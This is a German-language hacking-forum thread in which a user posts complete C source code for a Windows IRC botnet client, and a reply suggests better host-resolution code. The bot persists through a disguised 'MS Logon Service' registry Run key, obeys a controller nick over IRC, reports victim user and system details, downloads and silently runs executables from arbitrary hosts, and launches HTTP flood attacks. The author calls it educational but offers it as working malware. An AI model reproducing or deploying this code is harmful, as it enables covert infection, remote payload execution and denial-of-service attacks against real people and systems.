Ergebnis 1 bis 3 von 3
  1. #1
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard Einfacher IRC Botnet-Client

    Moin,

    das hier ist der Source zu einem einfachen IRC Botnet-Client.
    Ist schon etwas älter und nicht sehr sauber, aber 100%ig von mir

    Meine Idee dahinter ist nicht, Botnets zu fördern, sondern das ihr mal selber proggen lernt statt vorgefertigte Programme zu benutzen - es ist kein Hexenwerk sowas zu schreiben - und wer sowas kann, wird auch mehr gefallen daran finden, statt sich Vics zu holen.

    Naja, für näheres schaut einfach in den Source

    gruß

    GregorSamsa

    Code:
    /*
        Little IRC Bot
        
        Code by GregorSamsa
        Jabber: gregor.samsa@jabber.ccc.de
        
        Ein einfacher IRC-Gesteuerter Bot, nur zu lehrzwecken!
        Funktionen:
        - Lässt sich nur von einem definierten Nick kontrollieren
        - Entweder allen einen Befehl per Channel geben, oder einzelnen per Query
        - Befehle:
            - exit : Bot(s) ausschalten
            - uninstall : Bot(s) entfernen (keine Melt-funktion, es wird nur der Autorun deaktiviert und der Bot ausgeschaltet)
            - info : Info über den Rechner (Username, Computername, OS)
            - download <host> <file> : <file> von <host> herunterladen und ausführen (PE-File) - z.B.: download myhost.ru files/trojaner.exe
            - dos <host> <anzahl> : <host> mit <anzahl> HTTP-Requests beschießen
        
        Benutzt das Ding mit bedacht, es ist teilweise detected - und das ist auch gut so ;) Rein zu lernzwecken benutzen
        
        Die IRC-Implementierung ist mangelhaft, die müsst ihr eventuell überarbeiten sollte es beim Login Probleme mit PING/PONG geben o.ä.
        Allgemein ist der SOurce zu Testzwecken gedacht, und daher nicht besonders sauber, geschweige denn bugfrei/sicher...
        
        Also, hf
        GregorSamsa
        
        Greetz to Free-Hack.com!
    */
    
    
    #include <windows.h>
    #include <winsock2.h>
    #include <stdio.h>
    
    #define _CHANNEL_ "#channel"
    #define _CONTROL_ "your_nick"
    #define _SERVER_ "irc_server"
    
    #define BUF_LENGTH 1024
    
    //Prototypen
    int startWinsock(void);
    long getAddrFromString(char* hostnameOrIp, SOCKADDR_IN* addr);
    
    struct DOWNLOADSTRUCT
    {
        char host[BUF_LENGTH];
        char path[BUF_LENGTH];
    };
    
    struct DOSSTRUCT
    {
        char host[BUF_LENGTH];
        int count;
    };
    
    DWORD WINAPI download(LPVOID arg)
    {
        DOWNLOADSTRUCT *ds = (DOWNLOADSTRUCT*)arg;
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        int lc, i;
        FILE *f;
        char buf[BUF_LENGTH], fname[BUF_LENGTH];
        
        rc=startWinsock();
        if(rc!=0)
            ExitThread(0);
    
        s=socket(AF_INET,SOCK_STREAM,0);
        if(s==INVALID_SOCKET)
            ExitThread(0);
    
        memset(&addr,0,sizeof(SOCKADDR_IN));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(80);
        rc=getAddrFromString(ds->host,&addr);
        if(rc==SOCKET_ERROR)
            ExitThread(0);
    
        rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR));
        if(rc==SOCKET_ERROR)
            ExitThread(0);
            
        sprintf(buf, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", ds->path, ds->host);
        send(s,buf,strlen(buf),0);
        
        lc = 0;
        while(lc < 2)
        {
            rc=recv(s,buf,1,0);
            if(buf[0] == '\n') lc++;
            else if(buf[0] != '\r') lc = 0;
        }
        
        sprintf(fname, "temp_%i.exe", (rand() % 5000));
        f = fopen(fname, "wb");
        
        while((rc=recv(s,buf,256,0)) != 0)
        {
            if(rc==SOCKET_ERROR)
                ExitThread(0);
            for(i = 0;i < rc;i++)
                fprintf(f, "%c", buf[i]);
        }
        fclose(f);
      
        closesocket(s);
        WSACleanup();
    
        WinExec(fname, SW_HIDE);
        
        ExitThread(0);
    }
    
    DWORD WINAPI dos(LPVOID arg)
    {
        DOSSTRUCT *ds = (DOSSTRUCT*)arg;
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        int lc, i;
        char buf[BUF_LENGTH];
        
        rc=startWinsock();
        if(rc!=0)
            ExitThread(0);
    
        for(i = 0;i < ds->count;i++)
        {
            while((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) Sleep(500);
    
            memset(&addr,0,sizeof(SOCKADDR_IN));
            addr.sin_family=AF_INET;
            addr.sin_port=htons(80);
            rc=getAddrFromString(ds->host,&addr);
            if(rc==SOCKET_ERROR)
                ExitThread(0);
    
    
            while((rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR))) == SOCKET_ERROR) Sleep(500);
        
            sprintf(buf, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", ds->host);
            send(s,buf,strlen(buf),0);
            closesocket(s);
        }
      
        WSACleanup();
        
        ExitThread(0);
    }
    
    unsigned long downloadtid, dostid;
    
    int WINAPI WinMain(HINSTANCE w1, HINSTANCE w2, PSTR w3, int w4)//main()
    {
        long rc;
        SOCKET s;
        SOCKADDR_IN addr;
        char buf[BUF_LENGTH], buf2[BUF_LENGTH], buf3[BUF_LENGTH], channel[] = _CHANNEL_, master[] = _CONTROL_, nick[BUF_LENGTH], *ptr;
        int i, sm;
        DWORD l;
        OSVERSIONINFOEX osinfo;
        DOWNLOADSTRUCT ds;
        DOSSTRUCT dss;
        HWND hWnd;
        HKEY hKey;
      
        ptr = (char *)malloc(BUF_LENGTH);
        sm = 0;
        
        srand(time(NULL));
        
        hWnd = (HWND)GetModuleHandle(NULL);
        GetModuleFileName((HINSTANCE)hWnd, buf, sizeof(buf));
        GetSystemDirectory(buf2, sizeof(buf2));
        strcat(buf2, "\\logon_service.exe");
        CopyFile(buf, buf2, 0);
        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
        RegSetValueEx(hKey, "MS Logon Service", 0, REG_SZ, TEXT(buf2), strlen(buf2)+1);
        RegCloseKey(hKey);  
    
        if((strcmp(buf, buf) != 0))
        {
            // Fake Message
            //MessageBox(NULL, "Error #235\n\nCouldn't open 'sro_c.exe'\nAbort", "Install Error", MB_OK + MB_ICONERROR);
        }
        
        // Winsock starten
        startWinsock();
        printf("Winsock gestartet\n");
      // Socket erstellen
        while((s=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) Sleep(1000);
        printf("Socket erstellt\n");
      // Verbinden
        memset(&addr,0,sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten
        addr.sin_family=AF_INET;
        addr.sin_port=htons(6667); // wir verwenden mal port 12345
        rc=getAddrFromString(_SERVER_,&addr);
        if(rc==SOCKET_ERROR)
            return 1;
    
    
        while((rc=connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR))) == SOCKET_ERROR) Sleep(1000);
        
        sprintf(nick, "bot_%i", rand() % 30000);
      /*
        rc=recv(s,buf,1000,0);
        rc=recv(s,buf,1000,0);
        buf[rc] = '\0';
    */
        sprintf(buf, "NICK %s\r\nUSER %s \"localhost\" \"%s\" :%s\r\n", nick, nick, _SERVER_, nick);
        send(s,buf,strlen(buf),0);
    /*
        rc=recv(s,buf,1000,0);
        buf[rc] = '\0';
      
        strtok(buf, " ");
        strcpy(buf2, strtok(NULL, ""));
        strcpy(buf, "PONG ");
        strcat(buf, buf2);
        send(s,buf,strlen(buf),0);
    */
        do
        {
            rc=recv(s,buf,1000,0);
            buf[rc] = '\0';
        } while(!strstr(buf, "End of /MOTD command"));
      
      
        sprintf(buf, "JOIN %s\r\n", channel);
        send(s,buf,strlen(buf),0);
    
        // Daten austauschen
        while(rc!=SOCKET_ERROR)
        {
            rc=recv(s,buf,1000,0);
            if(rc==0)
                break;
            if(rc==SOCKET_ERROR)
                break;
            buf[rc]='\0';
        
            if(!strnicmp(buf, "PING", 4))
            {
                strtok(buf, " ");
                strcpy(buf2, strtok(NULL, ""));
                strcpy(buf, "PONG ");
                strcat(buf, buf2);
                send(s,buf,strlen(buf),0);
            }
            else if(strstr(buf, "PRIVMSG"))
            {
                strcpy(buf2, buf);
                ptr = strtok(buf2, "!");
                for(i = 1;i <= strlen(ptr);i++) ptr[i - 1] = ptr[i];
                if(strcmp(ptr, master) == 0)
                {
                    ptr = strtok(buf, ":");
                    ptr = strtok(NULL, "\r");
                
                    if(strcmp(ptr, "exit") == 0)
                    {
                        closesocket(s);
                        WSACleanup();
                        return 0;
                    }
                    else if(strcmp(ptr, "uninstall") == 0)
                    {
                        sprintf(buf2, "nothing...");
                        RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
                        RegSetValueEx(hKey, "MS Logon Service", 0, REG_SZ, TEXT(buf2), strlen(buf2)+1);
                        RegCloseKey(hKey);
                        
                        closesocket(s);
                        WSACleanup();
                        return 0;
                    }
                    else if(strcmp(ptr, "info") == 0)
                    {
                        l = sizeof(buf);
                        GetUserName(buf, &l);
                        sprintf(buf2, "Username: %s", buf);
                        GetComputerName(buf, &l);
                        sprintf(buf3, "%s, Computername: %s", buf2, buf);
                        sm = 1;
                        ZeroMemory(&osinfo, sizeof(OSVERSIONINFO));
                        osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
                        GetVersionEx((OSVERSIONINFO *) &osinfo);
                        l = osinfo.dwMinorVersion;
                        strcpy(buf, "???");
                        switch(osinfo.dwMajorVersion)
                        {
                            case 5:
                                if(l == 0)
                                    strcpy(buf, "Windows 2000");
                                else if(l == 1)
                                    strcpy(buf, "Windows XP");
                                else if(l == 2)
                                {
                                    if(osinfo.wSuiteMask == 0x8000)
                                        strcpy(buf, "Windows Home Server");
                                    else if(GetSystemMetrics(89) == 0)
                                        strcpy(buf, "Windows Server 2003");
                                    else if(GetSystemMetrics(89) != 0)
                                        strcpy(buf, "Windows Server 2003 R2");
                                    else
                                        strcpy(buf, "Windows XP Professional x64 Edition");
                                }
                            break;
                        
                            case 6:
                                if(l)
                                {
                                    if(osinfo.wProductType != VER_NT_WORKSTATION)
                                        strcpy(buf, "Windows Server 2008 R2");
                                    else
                                        strcpy(buf, "Windows 7");
                                }
                                else
                                {
                                    if(osinfo.wProductType == VER_NT_WORKSTATION)
                                        strcpy(buf, "Windows Vista");
                                    else
                                        strcpy(buf, "Windows Server 2008");
                                }
                            break;
                        
                            default:
                                strcpy(buf, "???");
                            break;
                        }
                    
                        sprintf(buf2, "%s, OS: %s", buf3, buf);
                    }
                    else if(strncmp(ptr, "download", strlen("download")) == 0)
                    {
                        ptr = strtok(ptr, " ");
                        ptr = strtok(NULL, " ");
                        sprintf(ds.host, "%s", ptr);
                        ptr = strtok(NULL, " ");
                        sprintf(ds.path, "%s", ptr);
                    
                        CreateThread(NULL, 0, download, &ds, 0, &downloadtid);
                    }
                    else if(strncmp(ptr, "dos", strlen("dos")) == 0)
                    {
                        ptr = strtok(ptr, " ");
                        ptr = strtok(NULL, " ");
                        sprintf(dss.host, "%s", ptr);
                        ptr = strtok(NULL, " ");
                        dss.count = atoi(ptr);
                    
                        CreateThread(NULL, 0, dos, &dss, 0, &dostid);
                    }
                    else
                    {
                        buf[0] = '\0';
                    }
            
                    if(sm)
                    {
                        sprintf(buf, "PRIVMSG %s :%s\r\n", channel, buf2);
                        send(s,buf,strlen(buf),0);
                        sm = 0;
                    }
                }
            }
        }
        closesocket(s);
        WSACleanup();
        return 0;
    }
    
    int startWinsock(void)
    {
        WSADATA wsa;
        return WSAStartup(MAKEWORD(2,0),&wsa);
    }
    
    
    long getAddrFromString(char* hostnameOrIp, SOCKADDR_IN* addr)
    {
        long rc;
        unsigned long ip;
        HOSTENT* he;
    
        if(hostnameOrIp==NULL || addr==NULL)
            return SOCKET_ERROR;
    
        ip=inet_addr(hostnameOrIp);
    
        if(ip!=INADDR_NONE)
        {
            addr->sin_addr.s_addr=ip;
            return 0;
        }
        else
        {
            he=gethostbyname(hostnameOrIp);
            if(he==NULL)
                return SOCKET_ERROR;
            else
                memcpy(&(addr->sin_addr),he->h_addr_list[0],4);
            return 0;
        }
    }

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    DDW111 (08.07.2010), HawK (16.02.2010), juRiii (24.06.2010), luxury11 (29.08.2010), PancakeBear (13.08.2010), Shini (14.08.2010), Slawa (27.02.2010), Southpark (05.03.2010), Zweitopf (14.08.2010)

  3. #2
    Bad Times Virus
    Registriert seit
    14.03.2009
    Beiträge
    579

    Standard

    @GregorSamsa:
    Reg dich nicht so auf. Ist schlecht fürs Herz.
    Code:
        addr.sin_addr.s_addr = inet_addr(host);
        if(addr.sin_addr.s_addr==INADDR_NONE)
        {
            dns = gethostbyname(host);
            if(dns==NULL)
            {
                MessageBox(NULL,"gethostbyname","",MB_OK);
                return;
            }
            while(dns->h_addr_list[i])
            {
                addr.sin_addr.s_addr=*(unsigned int *)(dns->h_addr_list[i]);
                sprintf(IP, "%u.%u.%u.%u",
                    (unsigned char) dns->h_addr_list[i][0],
                    (unsigned char) dns->h_addr_list[i][1],
                    (unsigned char) dns->h_addr_list[i][2],
                    (unsigned char) dns->h_addr_list[i][3]);
                MessageBox(0,IP,"Connecting:",0);
                errorcode=connect(sock,(SOCKADDR*)&addr,sizeof(SOCKADDR));
                if(errorcode==SOCKET_ERROR)
                {
                    i++;
                }
                else
                    break;
            }
        }
        else
        {
            connect(sock,(SOCKADDR*)&addr,sizeof(SOCKADDR));
        }
    (noch besser wäre es wenn man getaddrinfo benutzt. IPv6)

  4. #3
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard

    Scheiß auf Herz xD

    Danke für die verbesserte Version, wie gesagt, nie als einsatzfähiger Bot gedacht sondern als Lernstoff

    Und auf die Idee mit mehreren IP's bin ich beim Coden garnicht gekommen, obwohl mir das natürlich klar ist (bzw. sein sollte ^^)

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •